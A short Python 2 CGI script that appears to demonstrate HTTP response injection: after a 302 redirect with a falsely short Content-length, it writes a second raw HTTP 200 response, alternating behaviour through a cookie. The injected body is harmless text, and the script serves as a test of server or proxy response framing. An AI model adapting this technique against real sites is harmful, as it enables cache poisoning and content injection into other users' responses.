import Cookie, os, sys

cookie = Cookie.SmartCookie(os.environ.get("HTTP_COOKIE", None))

if (not cookie.has_key('foo')) or (cookie['foo'].value == 'false'):
    cookie['foo'] = 'true'
    print 'Status: 302 Moved'
    print cookie
    print 'Location: https://scripts.mit.edu/~geofft/'
    print 'Last-Modified: Tue, 17 Feb 2009 22:18:25 GMT'
    print 'Content-length: 6\r\n'
    print '123456\r\n'
    sys.stdout.flush()
    print """HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 31

This was the injected response.\r\n"""
else:
    cookie['foo'] = 'false'
    print 'Status: 200 OK'
    print cookie
    print 'Cache-Control: private, s-maxage=0, max-age=0, must-revalidate'
    print 'Last-Modified: Tue, 17 Feb 2009 22:18:25 GMT'
    print 'Content-Type: text/html\r\n'
    print '<a href="">Reload</a>'